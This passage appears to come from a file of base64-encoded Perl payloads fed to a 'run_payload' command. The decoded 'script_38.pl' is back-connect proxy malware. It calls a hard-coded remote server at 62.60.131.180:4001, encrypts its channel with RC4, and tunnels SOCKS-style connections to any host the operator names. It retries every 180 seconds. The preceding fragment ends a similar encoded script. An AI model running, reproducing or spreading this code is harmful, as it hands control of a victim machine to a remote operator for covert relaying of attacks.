kgZ290byBjbG9zZV87DQoJCQkJCQkgfQ0KCQkJCQkJIA0KCQkJCQkJIGV2YWwgew0KCQkJIA0KCQkJCQkJCSBteSAkcGFkZHIgPSBzb2NrYWRkcl9pbigkcG9ydDAsIGluZXRfYXRvbigkZG9tYWluKSk7DQoJCQ0KCQkJCQkJCSBjb25uZWN0KCRzb2NrZXRhcnJbJGVieF0sICRwYWRkcik7DQoJCSANCgkJCQkJCQkgdmVjKG15ICR3aW4gPSAnJywgZmlsZW5vKCRzb2NrZXRhcnJbJGVieF0pLCAxKSA9IDE7DQoNCgkJCQkJCQkgdW5sZXNzIChzZWxlY3QodW5kZWYsICR3aW4sIHVuZGVmLCAxKSkgeyBnb3RvIGNsb3NlXzsgfQ0KCQkJDQoJCQkJCQkJIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfR0VURkwsIDApIF4gT19OT05CTE9DSyk7DQoJCSANCgkJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgNCwgMSkgPSAiXHgwMCI7DQoJCSANCgkJCQkJCQkgJF9yZXQwID0gMTsNCgkJCSANCgkJCQkJCSB9Ow0KCQkgDQoJCQkJCQkgY2xvc2VfOg0KCQkJCQkJIA0KCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsNCgkJIA0KCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7DQoJCSANCgkJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIGxlbmd0aCgkcmVzcG9uY2UpKTsNCgkJCQkJCSANCgkJCQkJCSBpZiAoJF9yZXQwID09IDApIHsNCgkJCQkJCQkgDQoJCQkJCQkJICRzb2NrZXRhcnJheVskZWJ4XSA9IDA7DQoJCSANCgkJCQkJCQkgY2xvc2UoJHNvY2tldGFyclskZWJ4XSk7DQoJCQkJCQkJIA0KCQkJCQkJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJGVieDsNCgkJIA0KCQkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAwLCAxKSA9ICRzdHJfdmVjOw0KCQkJCQkJCSANCgkJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMSwgMikgPSAiXHgwMFx4MDAiOw0KCQkgDQoJCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsNCgkJIA0KCQkJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIDMsIDApOw0KCQkJCQkJCSANCgkJCQkJCSB9DQoJCQkJCQkgDQoJCQkJCX0NCgkJCQkJDQoJCQkJCSBlbHNpZiAoJHNvY2tldGFycmF5WyRlYnhdID09IDEpIHsNCgkJCQkJCSANCgkJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWyRlYnhdLCAkYnVmZmVyMCwgJHJlbWFpbmluZywgNCk7DQoJCQkJCQkgDQoJCQkJCQkgDQoJCQkJCX0NCgkJCQkJIA0KCQkJCQkgJHJlbWFpbmluZyA9IDA7DQoJCQkJfQ0KCQkJCQ0KCQkJfQ0KCQkJIA0KCQkJICRyZW1haW5pbmc0ID0gMDsNCgkJCSANCgkJfQ0KCQkNCgkJZWxzZSB7DQoJCQkNCgkJCSAkZWF4ID0gNDsNCgkJCQ0KCQkJICRlYXggPSAkZWF4IC0gJHJlbWFpbmluZzQ7DQoJCQkgDQoJCQkgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWluaW5nNCk7DQoJCQkgDQoJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9DQoJCQkgDQoJCQkgJHJlbWFpbmluZzQgKz0gJGRhdGE7DQoJCQkgDQoJCQkgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAiOw0KCQkJIA0KCQkJICRjb3VudGVyID0gMDsNCgkJCSANCgkJCSBpZiAoJHJlbWFpbmluZzQgPT0gNCkgew0KCQkJCSANCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgMCwgNCk7DQoJCQkJIA0KCQkJCSAkZWJ4ID0gdmVjKHN1YnN0cigkYnVmZmVyMCwgMSwgMSksIDAsIDgpOw0KCQkJCSANCgkJCQkgJGVkeCA9IHVucGFjaygnUycsIHN1YnN0cigkYnVmZmVyMCwgMiwgMikpOw0KCQkJIA0KCQkJCSAkX3JldCA9IDE7DQoJCQl9DQoJCQkNCgkJfQ0KCX0NCgkNCgkgY2xvc2UwOg0KCSANCgkgY2xvc2UoJHNvY2tldGFyclswXSk7DQoJIA0KCSBmb3IgKG15ICRpID0gMDsgJGkgPCAyMDA7ICRpKyspIHsNCg0KCQkgaWYgKCRzb2NrZXRhcnJheVskaV0gPT0gMSkgeyBjbG9zZSgkc29ja2V0YXJyWyRpXSk7IH0NCgkJIA0KCSB9DQoJIA0KCSBpZiAoJGlzRXhpdCA9PSAxKSB7IGV4aXQ7IH0NCgkgDQoJIHJldHVybiAkX3JldDsNCg0KfQ0KDQp3aGlsZSgxKQ0Kew0KCSBiY2NuY3QoXCRob3N0LCBcJHBvcnQpOw0KCSANCgkgc2xlZXAgMTgwOw0KfQ=="

# script_38.pl
run_payload "IyEvdXNyL2Jpbi9wZXJsDQoNCnVzZSBzdHJpY3Q7DQp1c2Ugd2FybmluZ3M7DQp1c2UgU29ja2V0Ow0KdXNlIFNvY2tldCBxdyhJUFBST1RPX1RDUCBUQ1BfTk9ERUxBWSk7DQp1c2UgRmNudGwgcXcoRl9HRVRGTCBGX1NFVEZMIE9fTk9OQkxPQ0spOw0KDQpteSAkaG9zdCA9ICc2Mi42MC4xMzEuMTgwJzsNCm15ICRwb3J0ID0gNDAwMTsNCg0KbXkgJHhvcmRhdGEgPSAiXHgwMCIgeCA1MDsNCg0KZm9yIChteSAkaSA9IDA7ICRpIDwgNTA7ICRpKyspIHsgdmVjKCR4b3JkYXRhLCAkaSwgOCkgPSBpbnQocmFuZCgyNTUpKTsgfQ0KDQpzdWIgUmM0X2NyeXB0IHsNCgkgDQoJIG15ICRwYXNzdyA9IHNoaWZ0KEBfKTsNCgkgDQoJIG15ICRsZW5ndGggPSBzaGlmdChAXyk7DQoJIA0KCSBteSAkYnVmZjAgPSBzaGlmdChAXyk7DQoJIA0KCSBteSAkc3RhcnQgPSBzaGlmdChAXyk7DQoJIA0KCSBteSAkc3ogPSBzaGlmdChAXyk7DQoJIA0KCSBteSAkcmM0ID0gIlx4MDAiIHggMjU2Ow0KCSANCgkgbXkgJHBvY2tlbW9uMCA9IDA7DQoJDQoJIG15ICRwb2NrZW1vbjEgPSAwOw0KCQ0KCSBteSAkcG9ja2Vtb24yID0gMDsNCgkNCgkgbXkgJHBvY2tlbW9uMyA9IDA7DQoJDQoJIG15ICRwb2NrZW1vbjQgPSAwOw0KCQ0KCSBteSAkcG9ja2Vtb241ID0gMDsNCgkNCgkgbXkgJHBvY2tlbW9uNiA9IDA7DQoJDQoJIG15ICRwb2NrZW1vbjcgPSAwOw0KCQ0KCSBteSAkcG9ja2Vtb244ID0gMDsNCgkgDQoJIG15ICRyY3ggPSAkc3o7DQoJIA0KCSBteSAkcnNpID0gMDsNCgkgDQoJIG15ICRyYnggPSAwOw0KCSANCgkgbXkgJGdzID0gMDsNCgkgDQoJIG15ICR0ID0gMDsNCgkgDQoJIG15ICRzdHJfdmVjID0gIlx4MDAiOw0KCSANCgkgdmVjKCRyYzQsICRfLCA4KSA9ICRfIGZvciAwLi4yNTU7ICMg0JfQsNC/0L7Qu9C90Y/QtdC8INGB0YLRgNC+0LrRgyDQsdCw0LnRgtCw0LzQuCAwLi4yNTUg0LHRi9GB0YLRgNC+DQoJIA0KCSBkbyB7DQoJCSANCgkJIHZlYygkc3RyX3ZlYywgMCwgOCkgPSAodmVjKHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSwgMCwgOCkgXiB2ZWMoc3Vic3RyKCQkcGFzc3csICRyYngsIDEpLCAwLCA4KSk7DQoJCSANCgkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSA9ICRzdHJfdmVjOw0KCQkgDQoJCSAkcnNpKys7DQoJCQ0KCQkgJHJieCsrOw0KCQkNCgkJICRyY3gtLTsNCgkJDQoJCSBpZiAoJHJieCA9PSAkbGVuZ3RoKSB7DQoJCQkgDQoJCQkgJHJieCA9IDA7DQoJCX0NCgkJIA0KCX0gd2hpbGUoJHJjeCA+IDApOw0KCQ0KCQ0KCSB3aGlsZSgxKSB7DQoJCSANCgkJIGlmICgkZ3MgPT0gMCkgew0KCQkJIA0KCQkJICRwb2NrZW1vbjIgPSAwOw0KDQoJCQkgJHBvY2tlbW9uMyA9ICRsZW5ndGg7DQoJCX0NCgkJIA0KCQkgaWYgKCRncyAhPSAwKSB7DQoJCQkgDQoJCQkgJGdzID0gMDsNCg0KCQkJICRwb2NrZW1vbjIrKzsNCg0KCQkJIGlmICgtLSRwb2NrZW1vbjMgPT0gMCkgeyBuZXh0OyB9DQoJCQkgDQoJCX0NCgkJDQoJCSAkcG9ja2Vtb243ID0gdmVjKHN1YnN0cigkcmM0LCAkcG9ja2Vtb24wLCAxKSwgMCwgOCk7DQoJCSANCgkJICR0ID0gdmVjKHN1YnN0cigkJHBhc3N3LCAkcG9ja2Vtb24yLCAxKSwgMCwgOCk7DQoNCgkJICRwb2NrZW1vbjEgKz0gJHQ7DQoNCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1Ow0KDQoJCSAkcG9ja2Vtb24xICs9ICRwb2NrZW1vbjc7DQoNCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1Ow0KDQoJCSAkcG9ja2Vtb242ID0gdmVjKHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSwgMCwgOCk7DQoNCgkJIHZlYygkc3RyX3ZlYywgMCwgOCkgPSAkcG9ja2Vtb242Ow0KDQoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMCwgMSkgPSAkc3RyX3ZlYzsNCgkJIA0KCQkgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRwb2NrZW1vbjc7DQoJCSANCgkJIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9ICRzdHJfdmVjOw0KCQkgDQoJCSAkcG9ja2Vtb24wKys7DQoNCgkJICRwb2NrZW1vbjAgPSAkcG9ja2Vtb24wICYgMjU1Ow0KCQkgDQoJCSBpZiAoJHBvY2tlbW9uMCAhPSAwKSB7DQoJCQkgDQoJCQkgJGdzID0gMTsNCgkJCSANCgkJCSBuZXh0Ow0KCQl9DQoJCQ0KCQkgJHBvY2tlbW9uNCA9ICRzejsNCg0KCQkgJHBvY2tlbW9uMSA9IDA7DQoNCgkJICRwb2NrZW1vbjAgPSAwOw0KDQoJCSAkcG9ja2Vtb24yID0gMDsNCg0KCQkgJHBvY2tlbW9uMyA9IDA7DQoJCSANCgkJIHdoaWxlKDEpIHsNCgkJCSANCgkJCSAkcG9ja2Vtb24yKys7DQoNCgkJCSAkcG9ja2Vtb24yID0gJHBvY2tlbW9uMiAmIDI1NTsNCg0KCQkJICRwb2NrZW1vbjcgPSB2ZWMoc3Vic3RyKCRyYzQsICRwb2NrZW1vbjIsIDEpLCAwLCA4KTsNCgkJCSANCgkJCSAkcG9ja2Vtb24xICs9ICRwb2NrZW1vbjc7DQoNCgkJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsNCg0KCQkJICRwb2NrZW1vbjggPSB2ZWMoc3Vic3RyKCRyYzQsICRwb2NrZW1vbjEsIDEpLCAwLCA4KTsNCgkJCSANCgkJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJHBvY2tlbW9uODsNCgkJCSANCgkJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMiwgMSkgPSAkc3RyX3ZlYzsNCgkJCSANCgkJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJHBvY2tlbW9uNzsNCgkJIA0KCQkJIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9ICRzdHJfdmVjOw0KDQoJCQkgJHBvY2tlbW9uOCArPSAkcG9ja2Vtb243Ow0KCQ0KCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYgMjU1Ow0KDQoJCQkgJHBvY2tlbW9uMCA9IHZlYyhzdWJzdHIoJHJjNCwgJHBvY2tlbW9uOCwgMSksIDAsIDgpOw0KCQkJIA0KCQkJICRwb2NrZW1vbjUgPSB2ZWMoc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDEpLCAwLCA4KTsNCg0KCQkJICRwb2NrZW1vbjUgPSAkcG9ja2Vtb241IF4gJHBvY2tlbW9uMDsNCgkJCSANCgkJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJHBvY2tlbW9uNTsNCgkJCSANCgkJCSBzdWJzdHIoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgMSkgPSAkc3RyX3ZlYzsNCgkJCSANCgkJCSAkcG9ja2Vtb24zKys7DQoJCQkgDQoJCQkgaWYgKC0tJHBvY2tlbW9uNCA9PSAwKQ0KCQkJIHsNCgkJCQkgbGFzdDsNCgkJCSB9DQoJCQkgDQoJCX0NCgkJIA0KCQkgbGFzdDsNCgl9DQoJDQoJICRyc2kgPSAwOw0KCQ0KCSAkcmN4ID0gJHN6Ow0KCQ0KCSAkcmJ4ID0gMDsNCgkNCgkgZG8gew0KCQkgDQoJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gKHZlYyhzdWJzdHIoJCRidWZmMCwgJHN0YXJ0ICsgJHJzaSwgMSksIDAsIDgpIF4gdmVjKHN1YnN0cigkJHBhc3N3LCAkcmJ4LCAxKSwgMCwgOCkpOw0KCQkgDQoJCSBzdWJzdHIoJCRidWZmMCwgJHN0YXJ0ICsgJHJzaSwgMSkgPSAkc3RyX3ZlYzsNCgkJIA0KCQkgJHJzaSsrOw0KCQkNCgkJICRyYngrKzsNCgkJDQoJCSAkcmN4LS07DQoJCQ0KCQkgaWYgKCRyYnggPT0gJGxlbmd0aCkgew0KCQkJIA0KCQkJICRyYnggPSAwOw0KCQl9DQoJCSANCgl9IHdoaWxlKCRyY3ggPiAwKTsNCgkNCn0NCg0Kc3ViIGJjY25jdCB7DQoNCgkgbXkgJGhvc3QgPSBzaGlmdChAXyk7DQoJIA0KCSBteSAkcG9ydCA9IHNoaWZ0KEBfKTsNCgkgDQoJIG15ICRyZW1haW5pbmcgPSAwOw0KCSANCgkgbXkgJHJlbWFpbmluZzQgPSAwOw0KCSANCgkgbXkgJGRvbWFpbjsNCgkgDQoJIG15ICRwb3J0MDsNCgkgDQoJIG15IEBzb2NrZXRhcnI7DQoJIA0KCSBteSBAc29ja2V0YXJyYXk7DQoJIA0KCSBteSAkYnVmZmVyID0gIlx4MDAiIHggMTAwOw0KCSANCgkgbXkgJGJ1ZmZlcm51bGwgPSAiXHgwMCIgeCAzOw0KCSANCgkgbXkgJGJ1ZmZlcjAgPSAiXHgwMCIgeCA2NTUzNjsNCgkgDQoJIG15ICRidWZmZXIxID0gIlx4MDAiIHggNjU1MzY7DQoJIA0KCSBteSAkaXNFeGl0ID0gMDsNCgkgDQoJIG15ICRfcmV0MCA9IDA7DQoJIA0KCSBteSAkZWN4ID0gMDsNCgkgDQoJIG15ICRlYXggPSAwOw0KCSANCgkgbXkgJGRhdGEgPSAwOw0KCSANCgkgbXkgJF9yZXQgPSAwOw0KCSANCgkgbXkgJGVieCA9IDA7DQoJIA0KCSBteSAkZWR4ID0gMDsNCgkgDQoJIG15ICRjb3VudGVyID0gMDsNCgkgDQoJIG15ICRjb3VudGNjID0gMDsNCgkJIA0KCSBteSAkcmluID0gJyc7DQoJIA0KCSBteSAkZmxhZ3M7DQoJIA0KCSBteSAkc3RyX3ZlYyA9ICJceDAwIjsNCgkgDQoJIGZvciAobXkgJGkgPSAwOyAkaSA8IDIwMDsgJGkrKykgeyAkc29ja2V0YXJyYXlbJGldID0gMDsgfQ0KCSANCgkgbXkgJHJlc3BvbmNlID0gIlx4MDBceDBBXHgwMFx4MDVceDAxXHgwMFx4MDFceDAwXHgwMFx4MDBceDAwXHgwMFx4MDAiOw0KCSANCgkgc29ja2V0KCRzb2NrZXRhcnJbMF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOw0KCSANCgkgc2V0c29ja29wdCgkc29ja2V0YXJyWzBdLCBJUFBST1RPX1RDUCwgVENQX05PREVMQVksIDEpOw0KCSANCgkgc2V0c29ja29wdCgkc29ja2V0YXJyWzBdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIHBhY2soIkkiLCA2NTUzNikpOw0KCSANCiAgICAgc2V0c29ja29wdCgkc29ja2V0YXJyWzBdLCBTT0xfU09DS0VULCBTT19TTkRCVUYsIHBhY2soIkkiLCA2NTUzNikpOw0KCSANCgkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJCRwb3J0LCBpbmV0X2F0b24oJCRob3N0KSk7DQoJIA0KCSB1bmxlc3MoY29ubmVjdCgkc29ja2V0YXJyWzBdLCAkcGFkZHIpKSB7IGdvdG8gY2xvc2UwOyB9DQoJIA0KCSBzdWJzdHIoJGJ1ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7DQoJIA0KCSBzdWJzdHIoJGJ1ZmZlciwgNTAsIDIpID0gIlx4RkZceEZGIjsNCgkgDQoJIHN1YnN0cigkYnVmZmVyLCA1NCwgMTEpID0gIlBlcmwgc2NyaXB0IjsNCgkgDQoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsNCgkgDQoJIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRidWZmZXIsIGxlbmd0aCgkYnVmZmVyKSk7DQoJIA0KCSB3aGlsZSgxKSB7DQoJCSANCgkJICRjb3VudGNjID0gMDsNCgkJIA0KCQkgJHJpbiA9ICcnOw0KCQkgDQoJCSBmb3IgKG15ICRpID0gMTsgJGkgPCAyMDA7ICRpKyspIHsNCgkJIA0KCQkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsNCgkJCQkgDQoJCQkJIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclskaV0pLCAxKSA9IDE7DQoJCQkJIA0KCQkJCSAkY291bnRjYysrOw0KCQkJIH0NCgkJIH0NCgkJIA0KCQkgaWYgKCRjb3VudGNjID4gMCkgew0KCQkJIA0KCQkJIHVubGVzcyAoc2VsZWN0KCRyaW4sIHVuZGVmLCB1bmRlZiwgMC4wMDEpKSB7IGdvdG8gbmV4dF9fOyB9DQoJCQkgDQoJCQkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7DQoJCQkJIA0KCQkJCSBpZiAoKCRzb2NrZXRhcnJheVskaV0gPT0gMSkgJiYgdmVjKCRyaW4sIGZpbGVubygkc29ja2V0YXJyWyRpXSksIDEpKSB7DQoJCQkJCSANCgkJCQkJICRkYXRhID0gc3lzcmVhZCgkc29ja2V0YXJyWyRpXSwgJGJ1ZmZlcjEsIDY1NTMwLCAzKTsNCgkJCQkgDQoJCQkJCSB1bmxlc3MgKCRkYXRhKSB7DQoJCQkJCSANCgkJCQkJCSAkc29ja2V0YXJyYXlbJGldID0gMDsNCgkJCQkJIA0KCQkJCQkJIGNsb3NlKCRzb2NrZXRhcnJbJGldKTsNCgkJCQkJCSANCgkJCQkJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJGk7DQoJCSANCgkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAwLCAxKSA9ICRzdHJfdmVjOw0KCQkJCQkJIA0KCQkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsNCgkJCQkJCSANCgkJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7DQoJCSANCgkJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIDMsIDApOw0KCQkJCQkgDQoJCQkJCSB9DQoJCQkJIA0KCQkJCQkgZWxzZSB7DQoJCQkJCQkgDQoJCQkJCQkgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRpOw0KCQkJCQkJIA0KCQkJCQkJIHN1YnN0cigkYnVmZmVyMSwgMCwgMSkgPSAkc3RyX3ZlYzsNCgkJCQkJCSANCgkJCQkJCSBzdWJzdHIoJGJ1ZmZlcjEsIDEsIDIpID0gcGFjaygnUycsICRkYXRhKTsNCgkJCQkJCSANCgkJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIxLCAwLCAzKTsNCgkJIA0KCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlcjEsIDMsICRkYXRhKTsNCgkJCQkgDQoJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjEsIDMgKyAkZGF0YSk7DQoJCQkJCSANCgkJCQkJIH0NCgkJCQkgfQ0KCQkJIH0NCgkJIH0NCgkJIA0KCQkgbmV4dF9fOg0KCQkgDQoJCSBpZiAoJHJlbWFpbmluZzQgIT0gNCkgew0KCQkJIA0KCQkJICRyaW4gPSAnJzsNCgkJCSANCgkJCSB2ZWMoJHJpbiwgZmlsZW5vKCRzb2NrZXRhcnJbMF0pLCAxKSA9IDE7DQoJCQkgDQoJCQkgbXkgJHJldCA9IHNlbGVjdCgkcmluLCB1bmRlZiwgdW5kZWYsIDAuMDEpOw0KCQkJIA0KCQkJIG5leHQgaWYgKCRyZXQgPCAwKTsNCgkJCSANCgkJCSBpZiAoJHJldCA9PSAwKSB7DQoJCQkJIA0KCQkJCSAkY291bnRlcisrOw0KCQkJCSANCgkJCQkgaWYgKCRjb3VudGVyID09IDEwMCAqIDYwKSB7DQoJCQkJCSANCgkJCQkJICRjb3VudGVyID0gMDsNCg0KCQkJCQkgbGFzdCBpZiAoc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSBuZSAiXHgwMFx4MDBceDAwIik7DQoJCQkJIA0KCQkJCQkgbGFzdCBpZiAoJHJlbWFpbmluZyAhPSAwKTsNCgkJCQkgDQoJCQkJCSBsYXN0IGlmICgkcmVtYWluaW5nNCAhPSAwKTsNCgkJCQkgDQoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXJudWxsLCAwLCAzKTsNCgkJCQkgDQoJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkYnVmZmVybnVsbCwgbGVuZ3RoKCRidWZmZXJudWxsKSk7DQoJCQkJIH0NCgkJCQkgDQoJCQkJIG5leHQ7DQoJCQl9DQoJCQkgDQoJCX0NCgkJIA0KCQkgaWYgKCRyZW1haW5pbmcgIT0gMCB8fCAkcmVtYWluaW5nNCA9PSA0KSB7DQoJCQkgDQoJCQkgaWYgKCRlZHggPT0gMCkgew0KCQkJCSANCgkJCQkgaWYgKHN1YnN0cigkYnVmZmVyMCwgMCwgMSkgZXEgIlx4RkYiICYmIHN1YnN0cigkYnVmZmVyMCwgMSwgMSkgZXEgIlx4RkUiKSB7DQoJCQkJCSANCgkJCQkJICRpc0V4aXQgPSAxOw0KCQkJCQkgDQoJCQkJCSBsYXN0Ow0KCQkJCQkgDQoJCQkJfQ0KCQkJCSANCgkJCQkgZWxzaWYgKCRlYnggPCAyMDAgJiYgJGVieCA+IDAgJiYgJHNvY2tldGFycmF5WyRlYnhdID09IDEpIHsNCgkJCQkgDQoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOw0KCQkJCQkgDQoJCQkJCSBjbG9zZSgkc29ja2V0YXJyWyRlYnhdKTsNCgkJCQkJIA0KCQkJCQkgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRlYng7DQoJCSANCgkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDAsIDEpID0gJHN0cl92ZWM7DQoJCQkJCSANCgkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsNCgkJIA0KCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOw0KCQkgDQoJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIDMsIDApOw0KCQkJCSANCgkJCQl9DQoJCQkNCgkJCX0NCgkJCQ0KCQkJZWxzZSB7DQoJCQkJDQoJCQkJICRlY3ggPSAkZWR4Ow0KCQkJCQ0KCQkJCSAkZWN4ID0gJGVjeCAtICRyZW1haW5pbmc7DQoJCQkJIA0KCQkJCSAkZGF0YSA9IHN5c3JlYWQoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjAsICRlY3gsICRyZW1haW5pbmcgKyA0KTsNCgkJCQkNCgkJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9DQoJCQkJIA0KCQkJCSAkcmVtYWluaW5nICs9ICRkYXRhOw0KCQkJCSANCgkJCQkgaWYgKCRlZHggPT0gJHJlbWFpbmluZykgew0KCQkJCQkgDQoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIwLCA0LCAkcmVtYWluaW5nKTsNCgkJCQkJIA0KCQkJCQkgaWYgKHZlYyhzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpLCAwLCA4KSA9PSAwKSB7DQoJCQkJCQkgDQoJCQkJCQkgc29ja2V0KCRzb2NrZXRhcnJbJGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOw0KCQkJCQkJIA0KCQkJCQkJICRfcmV0MCA9IDA7DQoJCQkJCQkgDQoJCQkJCQkgJHNvY2tldGFycmF5WyRlYnhdID0gMTsNCgkJCQkJCSANCgkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAwLCAxMykgPSAiXHgwMFx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7DQoJCQkJCQkgDQoJCQkJCQkgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRlYng7DQoJCQkJCQkgDQoJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMCwgMSkgPSAkc3RyX3ZlYzsNCgkJCQkJCSANCgkJCQkJCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbJGVieF0sIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwgMSk7DQoJCQkJCQkgDQoJCQkJCQkgc2V0c29ja29wdCgkc29ja2V0YXJyWyRlYnhdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIHBhY2soIkkiLCA2NTUzNikpOw0KCSANCgkJCQkJCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbJGVieF0sIFNPTF9TT0NLRVQsIFNPX1NOREJVRiwgcGFjaygiSSIsIDY1NTM2KSk7DQoJCQkJCQkgDQoJCQkJCQkgZmNudGwoJHNvY2tldGFyclskZWJ4XSwgRl9TRVRGTCwgZmNudGwoJHNvY2tldGFyclskZWJ4XSwgRl9HRVRGTCwgMCkgfCBPX05PTkJMT0NLKTsNCgkJCQkJCSANCgkJCQkJCSBpZiAodmVjKHN1YnN0cigkYnVmZmVyMCwgNywgMSksIDAsIDgpID09IDMpIHsNCgkJCQ0KCQkJCQkJCSAkZG9tYWluID0gc3Vic3RyKCRidWZmZXIwLCA5LCB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4LCAxKSwgMCwgOCkpOw0KCQkJDQoJCQkJCQkJICRwb3J0MCA9IHZlYyhzdWJzdHIoJGJ1ZmZlcjAsIDkgKyB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4LCAxKSwgMCwgOCkgKyAwLCAxKS5zdWJzdHIoJGJ1ZmZlcjAsIDkgKyB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4LCAxKSwgMCwgOCkgKyAxLCAxKSwgMCwgMTYpOw0KCQkJDQoJCQkJCQkgfQ0KCQkNCgkJCQkJCSBlbHNpZiAodmVjKHN1YnN0cigkYnVmZmVyMCwgNywgMSksIDAsIDgpID09IDEpIHsNCgkJCQ0KCQkJCQkJCSAkZG9tYWluID0gc3ByaW50ZigiJWQuJWQuJWQuJWQiLCB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4ICsgMCwgMSksIDAsIDgpLCB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4ICsgMSwgMSksIDAsIDgpLCB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4ICsgMiwgMSksIDAsIDgpLCB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4ICsgMywgMSksIDAsIDgpKTsNCgkJCQ0KCQkJCQkJCSAkcG9ydDAgPSAgdmVjKHN1YnN0cigkYnVmZmVyMCwgMTIgKyAwLCAxKS5zdWJzdHIoJGJ1ZmZlcjAsIDEyICsgMSwgMSksIDAsIDE2KTsNCgkJCQ0KCQkJCQkJIH0NCgk